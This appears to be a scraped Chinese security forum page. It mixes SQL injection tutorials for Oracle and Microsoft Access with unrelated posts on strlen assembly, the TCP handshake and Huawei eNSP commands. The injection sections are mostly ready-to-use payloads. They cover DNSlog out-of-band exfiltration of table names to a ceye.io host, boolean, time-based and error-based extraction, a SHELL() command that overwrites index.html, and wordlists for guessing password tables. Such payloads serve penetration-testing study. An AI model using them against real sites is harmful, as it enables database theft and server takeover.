TIM截图20190709104438.png

Oracle联合查询——DNSlog注入
此方法需要Oracle数据库用户拥有网络访问权限
手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/
UTL_HTTP.REQUEST
union SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.8dktk9.ceye.io'),null FROM DUAL



TIM截图20190711160806.png


UTL_INADDR.GET_HOST_ADDRESS
union SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||'.here.8dktk9.ceye.io'),null FROM DUAL



HTTPURITYPE
union SELECT null,HTTPURITYPE((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io').GETCLOB(),null FROM DUAL

DBMS_LDAP.INIT
union SELECT null,DBMS_LDAP.INIT((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io',80),null FROM DUAL


0x05盲注
一、布尔盲注
1.获取数据表个数
count()函数获取字符串个数
and (select count(table_name) from user_tables)>2 --    页面报错
and (select count(table_name) from user_tables)=2 -- 页面正常,即表个数为2

TIM截图20190709111623.png


2.获取第一个表的字符个数
length()函数判断字符个数
and (select length(table_name) from user_tables where rownum=1)>7 --  页面报错
and (select length(table_name) from user_tables where rownum=1)=7 -- 页面正常 ,即第一个表的字符数为7












TIM截图20190709112122.png



2.获取第一个表的第一个字符
substr( )函数
substring()
作用:截取字符串
用法:substr(string,num start,num length)
           string 为字符串
           start  为起始长度从1开始
           length 为长度
 
ascii()函数
作用:返回字符串str的字符ASCII码值。入果str是空字符串,返回0,入果string是NULL,返回NULL
and ascii(substr((select table_name from user_tables where rownum=1),1,1))=83 --  页面正常,即第一个字符为ascii值83所对应的字母。为W
 
TIM截图20190709113018.png



二、时间盲注
对oracle进行时间盲注通常使用decode()函数
decode函数有很多种功能,在这里我们主要用到它可以比较字符串的功能。类似if-then语句。
 
DECODE(expr, search, result
             [, search, result ]...
       [, default ]
      )
DECODE函数会依次比较expr与search的值,如果expr等于search的值,那么DECODE函数将会返回search后面对应的result的值。如果到最后也没有匹配成功,那么便会返回最后面的default
 
类似 C++ 里面的switch语句。
 
该Payload的核心思想便是,根据表达式与search的值是否匹配,来决定是否执行高耗时SQL操作。
 
例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
 
1.探测第一个表名的第一个字符
and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'S',(select count(*) from all_objects),1) from dual)    执行这条语句是页面延迟,即第一个表名的第一个字符为S

TIM截图20190709162609.png



0x06报错注入
1.使用 dbms_xdb_version.checkin()进行报错注入
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --   探测数据库版本信息

 
TIM截图20190709123525.png



2.使用dbms_xdb_version.makeversioned()进报错注入
and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --

 
TIM截图20190709123303.png



3.报错注入其他payload
and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null --

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user) --
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--

 
 
 
0x07参考文献
 
http://www.teagle.top/index.php/archives/149/
https://www.freebuf.com/column/146464.html
 
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
 
https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions040.htm

strlen() 函数汇编代码简析

snow 发表了文章 • 0 个评论 • 523 次浏览 • 2019-06-10 21:06 • 来自相关话题

    在高级语言里,都有计算字符串长度的函数,例如 C 语言中的 strlen() 函数,该函数在优化编译模式下的汇编代码如下:mov ecx, FFFFFFFF
sub eax, eax
repnz
scasb
not ecx
dec ecx
je xxxxxx
因为这里边的 repnz 和 scasb 指令都没有见过,所以对这段代码很是不理解。在 intel 官方手册上,对这两个命令的解释是:while(--ecx)
{
if(*(edi++)==al)
{
break;
}

这样就很清楚了。上面的代码,就是
1.先将 ecx 设为-1
2.将 eax 设为0
3.开始循环,每次循环 ecx 先减去1,如果为0,则退出循环。如果不为0,则继续:
    然后将 al 中的值和 edi 中的字节进行比较,如果相等,则退出循环。
    否则,继续循环。每次循环 edi 都加上1,用以指向下一字节。
 
小问答:为什么要将 ecx 设为-1:ecx 设为-1可以方便的得到字符串的长度。每次循环 ecx 的值都减一,这样循环结束 ecx 的值取反再减去1就是循环的次数,也就是字符串的长度。
为什么要将 eax 设为0:因为在 C 里边,字符串都是以 “\0”进行结尾的。“\0”的 ascii 码为 “0”,所以 C 字符串也称为“ASCIIZ 字符串”,“Z”就代表着以“\0”为结束标志。所以将 edi 指向的字节和 eax 进行比较,若相等,则说明该字符串已经到达了结尾。
 
 
  查看全部
    在高级语言里,都有计算字符串长度的函数,例如 C 语言中的 strlen() 函数,该函数在优化编译模式下的汇编代码如下:
mov ecx, FFFFFFFF        
sub eax, eax
repnz
scasb
not ecx
dec ecx
je xxxxxx

因为这里边的 repnz 和 scasb 指令都没有见过,所以对这段代码很是不理解。在 intel 官方手册上,对这两个命令的解释是:
while(--ecx)
{
if(*(edi++)==al)
{
break;
}
}
 
这样就很清楚了。上面的代码,就是
1.先将 ecx 设为-1
2.将 eax 设为0
3.开始循环,每次循环 ecx 先减去1,如果为0,则退出循环。如果不为0,则继续:
    然后将 al 中的值和 edi 中的字节进行比较,如果相等,则退出循环。
    否则,继续循环。每次循环 edi 都加上1,用以指向下一字节。
 
小问答:为什么要将 ecx 设为-1:ecx 设为-1可以方便的得到字符串的长度。每次循环 ecx 的值都减一,这样循环结束 ecx 的值取反再减去1就是循环的次数,也就是字符串的长度。
为什么要将 eax 设为0:因为在 C 里边,字符串都是以 “\0”进行结尾的。“\0”的 ascii 码为 “0”,所以 C 字符串也称为“ASCIIZ 字符串”,“Z”就代表着以“\0”为结束标志。所以将 edi 指向的字节和 eax 进行比较,若相等,则说明该字符串已经到达了结尾。
 
 
 

计算机网络原理三次握手四次挥手详细

jizi_smile 发表了文章 • 1 个评论 • 486 次浏览 • 2019-04-14 13:51 • 来自相关话题

TCP/IP协议在实现端到端的连接的时候用到了三次握手连接,按照一般的想法,连接的建立只需要经过 客户端请求 服务器端指示  服务器端响应  客户端确认 两次握手四个步骤即可建立连接。
然而问题并非如此简单,因为通信子网总不那么理想,不能保证分组及时地传到目的地。假如分组丢失,通常使用超时重传来解决此问题。客户端发出一个连接请求的时候,同时启动一个定时器,一旦定时器超时,客户端再次发送连接请求,并重新启动定时器,直到成功建立连接,或重传次数达到一定值时,认为连接不可建立而放弃。
最难解决的问题是连接根本没有丢失,而是在子网中存储起来,过一段时间又突然出现在服务器端,即所谓的延迟重复问题。延迟重复回导致重复连接和重复处理,这在很多应用系统(如银行系统、订票系统)中是绝对不能出现的。
下面是TCP报文格式图:





上图中有几个字段需要重点介绍下:
序号:Seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。确认序号:Ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,Ack=Seq+1。标位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下:
URG:紧急指针(urgent pointer)有效。ACK:确认序号有效。PSH:接收方应该尽快将这个报文交给应用层。RST:重置连接。SYN:发起一个新连接。FIN:释放一个连接。需要注意的是:不要将确认序号Ack与标志位中的ACK搞混了。确认方Ack=发起方Req+1,两端配对而三次握手机制就是为了消除重复连接而消除的。三次握手机制首先要求对本次连接的所有报文进行编号,取一个随机值作为初始序号,由于序号域足够长,可以保证序号循环一周时使用同一序号的旧报文早已传输完毕,网络上就不会出现同一连接、同一序号的两个不同报文。[list=1]第一次握手:Client将标志位SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Sever之间就可以开始传数据了。


 4次挥手过程详解 三次握手耳熟能详,四次挥手估计就少有人知道了。所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发,整个流程如下图所示


 由于TCP连接时全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个TCP连接上仍然能够发送数据,直到这一方向也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。​第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。
 
上面是一方主动关闭,另一方被动关闭的情况,实际中还会出现同时发起主动关闭的情况,具体流程如下图:





 
为什么建立连接是三次握手,而关闭连接却是四次挥手呢?
这是因为服务端在LISTEN状态下,收到建立连接请求的SYN报文后,把ACK和SYN放在一个报文里发送给客户端。而关闭连接时,当收到对方的FIN报文时,仅仅表示对方不再发送数据了但是还能接收数据,己方也未必全部数据都发送给对方了,所以己方可以立即close,也可以发送一些数据给对方后,再发送FIN报文给对方来表示同意现在关闭连接,因此,己方ACK和FIN一般都会分开发送
 
 
转自(https://blog.csdn.net/qq_34940959/article/details/78592379) 查看全部
TCP/IP协议在实现端到端的连接的时候用到了三次握手连接,按照一般的想法,连接的建立只需要经过 客户端请求 服务器端指示  服务器端响应  客户端确认 两次握手四个步骤即可建立连接。
然而问题并非如此简单,因为通信子网总不那么理想,不能保证分组及时地传到目的地。假如分组丢失,通常使用超时重传来解决此问题。客户端发出一个连接请求的时候,同时启动一个定时器,一旦定时器超时,客户端再次发送连接请求,并重新启动定时器,直到成功建立连接,或重传次数达到一定值时,认为连接不可建立而放弃。
最难解决的问题是连接根本没有丢失,而是在子网中存储起来,过一段时间又突然出现在服务器端,即所谓的延迟重复问题。延迟重复回导致重复连接和重复处理,这在很多应用系统(如银行系统、订票系统)中是绝对不能出现的。

下面是TCP报文格式图:

包结构.png

上图中有几个字段需要重点介绍下:
  1. 序号:Seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。
  2. 确认序号:Ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,Ack=Seq+1。
  3. 标位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下:

  • URG:紧急指针(urgent pointer)有效。
  • ACK:确认序号有效。
  • PSH:接收方应该尽快将这个报文交给应用层。
  • RST:重置连接。
  • SYN:发起一个新连接。
  • FIN:释放一个连接。
需要注意的是:
  • 不要将确认序号Ack与标志位中的ACK搞混了。
  • 确认方Ack=发起方Req+1,两端配对
而三次握手机制就是为了消除重复连接而消除的。三次握手机制首先要求对本次连接的所有报文进行编号,取一个随机值作为初始序号,由于序号域足够长,可以保证序号循环一周时使用同一序号的旧报文早已传输完毕,网络上就不会出现同一连接、同一序号的两个不同报文。[list=1]
  • 第一次握手:Client将标志位SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。
  • 第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。
  • 第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Sever之间就可以开始传数据了。
  • 20171122163321743.png
     4次挥手过程详解 三次握手耳熟能详,四次挥手估计就少有人知道了。所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发,整个流程如下图所示
    四次挥手.png
     由于TCP连接时全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个TCP连接上仍然能够发送数据,直到这一方向也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。​
    • 第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。
    • 第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。
    • 第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。
    • 第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。

     
    上面是一方主动关闭,另一方被动关闭的情况,实际中还会出现同时发起主动关闭的情况,具体流程如下图:

    四次挥手特例.png

     
    为什么建立连接是三次握手,而关闭连接却是四次挥手呢?
    这是因为服务端在LISTEN状态下,收到建立连接请求的SYN报文后,把ACK和SYN放在一个报文里发送给客户端。而关闭连接时,当收到对方的FIN报文时,仅仅表示对方不再发送数据了但是还能接收数据,己方也未必全部数据都发送给对方了,所以己方可以立即close,也可以发送一些数据给对方后,再发送FIN报文给对方来表示同意现在关闭连接,因此,己方ACK和FIN一般都会分开发送
     
     
    转自(https://blog.csdn.net/qq_34940959/article/details/78592379

    华为模拟器eNSP基本命令

    cat 发表了文章 • 0 个评论 • 467 次浏览 • 2019-04-12 16:23 • 来自相关话题

     一、基本命令
    system-view    进入系统视图,默认为用户视图,命令简写 syssysname    修改名称ctrl + z     快速退出到用户模式quit    退出当前设置save    保存配置信息display ip routing-table    查看路由表interface GigabitEthernet 0/0/1(接口) 进入接口(GigabitEthernet 和 g 都代表 吉比特以太网,=14pt命令简写 int g0/0/1命令+ ?    查看帮助命令Tab键   补全命令二、二层交换机命令display vlan  查看整个vlan接口情况vlan 2   划分单个vlanvlan batch 2 3 划分多个vlanport link-type access    设置链路类型,需要先进入接口,下图为所有的链路类型:


    三、路由命令ip address 1.1.1.1 24    设置某个接口的ipdisplay ip interface brief    查看所有的接口与ip的相关信息ip route-static 192.168.2.10 24 1.1.1.1    静态设置路由发包到192.168.2.10的下一跳为1.1.1.1
     
     
    如果有需要补充,请在下面留言 查看全部
     一、基本命令
    • system-view    进入系统视图,默认为用户视图,命令简写 sys
    • sysname    修改名称
    • ctrl + z     快速退出到用户模式
    • quit    退出当前设置
    • save    保存配置信息
    • display ip routing-table    查看路由表
    • interface GigabitEthernet 0/0/1(接口) 进入接口(GigabitEthernet 和 g 都代表 吉比特以太网,=14pt命令简写 int g0/0/1
    • 命令+ ?    查看帮助命令
    • Tab键   补全命令
    二、二层交换机命令
    • display vlan  查看整个vlan接口情况
    • vlan 2   划分单个vlan
    • vlan batch 2 3 划分多个vlan
    • port link-type access    设置链路类型,需要先进入接口,下图为所有的链路类型:
      20171116093630265.png
    三、路由命令
    • ip address 1.1.1.1 24    设置某个接口的ip
    • display ip interface brief    查看所有的接口与ip的相关信息
    • ip route-static 192.168.2.10 24 1.1.1.1    静态设置路由发包到192.168.2.10的下一跳为1.1.1.1

     
     
    如果有需要补充,请在下面留言

    Access数据库注入

    数据库SQL语言flaray 发表了文章 • 0 个评论 • 376 次浏览 • 2019-04-01 17:55 • 来自相关话题

    0x001:基础知识
        *
        默认用户:admin,密码:空。
        *
        注释符: Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: ' UNION SELECT 1,1,1 FROM validTableName
        *
    Access不支持多句执行。
        *
    Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
        *
    附属查询: Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'someData' FROM validTableName)
        *
    LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:  ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
        *
    让查询返回0行:在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:* ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
        *
    字符串连接:不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
    * ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
    * ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
        *
    暴WEB路径:
    可以通过对一个不存在的库进行SELECT操作.Access将回应一条包含有完整路径的错误信息
    * ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
        *
    IF语句: 可以使用IIF()函数. 语法 : IIF(condition, true, false), ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
        *
    验证文件是否存在:' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized。


    0x002:注入步骤
        *
    表名猜解: ' UNION SELECT 1 FROM table[i]
        *
    列名猜解:  需要一个已知的表名和主查询的列的数目: ' UNION SELECT fieldName[j],1,1,1 FROM validTableName


    你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
        *
    列名枚举: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用, 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: Error (...) syntax (...) query (...) : " Id=0' "

            从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
    ' GROUP BY Id现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: ' GROUP BY Id, SecondAttrName, ...
    0x003:与操作系统的交互
        *
    安全提示:可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode


    它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
        *
    获取当前目录: 需要一个已知的表名和主查询的列的数目:' UNION SELECT CurDir(),1,1 FROM validTableName    *执行系统命令:shell()函数可以用来执行系统命令:
     
    ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
     0x004:Access的系统表
    MSysAccessXML:
        *
    Id
        *
    LValue
        *
    ObjectGuid
        *
    ObjectName
        *
    Property
        *
    Value


    MSysACEs:
        *
    ACM
        *
    FInheritable
        *
    ObjectId
        *
    SID


    MSysObjects:
        *
    Connect
        *
    Database
        *
    DataCreate
        *
    DataUpdate
        *
    Flags
        *
    ForeignName
        *
    Id
        *
    Lv
        *
    LxExtra
        *
    LvModule
        *
    LvProp
        *
    Name
        *
    Owner
        *
    ParentId
        *
    RmtInfoLong
        *
    RmtInfoShort
        *
    Type


    这条查询可以用来获得数据库中的表名:
    ' UNION SELECT Name FROM MSysObjects WHERE Type = 1
     0x005:盲注
        *
    猜解表名:可以使用下面提供的字典来猜解表名.注入查询语句:

    ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
    在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
        *
    猜解列名: 在指导表名的情况下,使用如下查询:

    ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
    用和第一步同样的方法判断列是否存在.
        *
    猜解内容的行数: 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
    ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
     
    这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值
     
    0x006:猜解内容长度
     你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
    ' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
     可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间):

    ' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
    "KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
      A1              A2                    A3
    1111           2222                 3333 
    0000           4444                 oooo
    aaaa           bbbb                 cccc  可以这样获取第一行的所有内容的长度:' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)然后就可以这样获取第二行的内容的长度(假设A1为表的主键):' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
    A1 <>'1111') = KKK, 1, 0)' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)'AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)第三行也一样:' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
    A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
    很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后)。
     最后:猜解内容。
    假设攻击者已经知道了表和列名,他将使用这样的查询:[size=16][b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
    ... etc ... ) = CHAR(YYY), 1, 0)[/b][/size]
    "N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
     0x007:表名/列名(字典)
    这里是一个小的表/列名样本字典
        *
    account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
        *
    customers, customer, config, conf, cfg;
        *
    hash;
        *
    login, logout, loginout, log;
        *
    member, memberid;
        *
    password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
        *
    store, store1, store2, store3, store4, setting;
        *
    username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;







      查看全部
    0x001:基础知识
        *
        默认用户:admin,密码:空。
        *
        注释符: Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: ' UNION SELECT 1,1,1 FROM validTableName
        *
    Access不支持多句执行
        *
    Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
        *
    附属查询: Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'someData' FROM validTableName)
        *
    LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:  ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
        *
    让查询返回0行:在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:* ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
        *
    字符串连接:不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
    * ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
    * ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
        *
    暴WEB路径:
    可以通过对一个不存在的库进行SELECT操作.Access将回应一条包含有完整路径的错误信息
    * ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
        *
    IF语句: 可以使用IIF()函数. 语法 : IIF(condition, true, false), ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
        *
    验证文件是否存在:' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized。


    0x002:注入步骤
        *
    表名猜解: ' UNION SELECT 1 FROM table[i]
        *
    列名猜解:  需要一个已知的表名和主查询的列的数目: ' UNION SELECT fieldName[j],1,1,1 FROM validTableName


    你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
        *
    列名枚举: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用, 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: Error (...) syntax (...) query (...) : " Id=0' "

            从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
    ' GROUP BY Id现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: ' GROUP BY Id, SecondAttrName, ...
    0x003:与操作系统的交互
        *
    安全提示:可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode


    它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
        *
    • 获取当前目录: 需要一个已知的表名和主查询的列的数目:
    ' UNION SELECT CurDir(),1,1 FROM validTableName    *
    • 执行系统命令:shell()函数可以用来执行系统命令:

     
    ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
     0x004:Access的系统表
    MSysAccessXML
        *
    Id
        *
    LValue
        *
    ObjectGuid
        *
    ObjectName
        *
    Property
        *
    Value


    MSysACEs
        *
    ACM
        *
    FInheritable
        *
    ObjectId
        *
    SID


    MSysObjects
        *
    Connect
        *
    Database
        *
    DataCreate
        *
    DataUpdate
        *
    Flags
        *
    ForeignName
        *
    Id
        *
    Lv
        *
    LxExtra
        *
    LvModule
        *
    LvProp
        *
    Name
        *
    Owner
        *
    ParentId
        *
    RmtInfoLong
        *
    RmtInfoShort
        *
    Type


    这条查询可以用来获得数据库中的表名:
    ' UNION SELECT Name FROM MSysObjects WHERE Type = 1
     0x005:盲注
        *
    猜解表名:可以使用下面提供的字典来猜解表名.注入查询语句:

    ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
    在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
        *
    猜解列名: 在指导表名的情况下,使用如下查询:

    ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
    用和第一步同样的方法判断列是否存在.
        *
    猜解内容的行数: 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
    ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
     
    这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值
     
    0x006:猜解内容长度
     你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
    ' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
     可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间):

    ' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
    "KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
      A1              A2                    A3
    1111           2222                 3333 
    0000           4444                 oooo
    aaaa           bbbb                 cccc  可以这样获取第一行的所有内容的长度:
    ' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
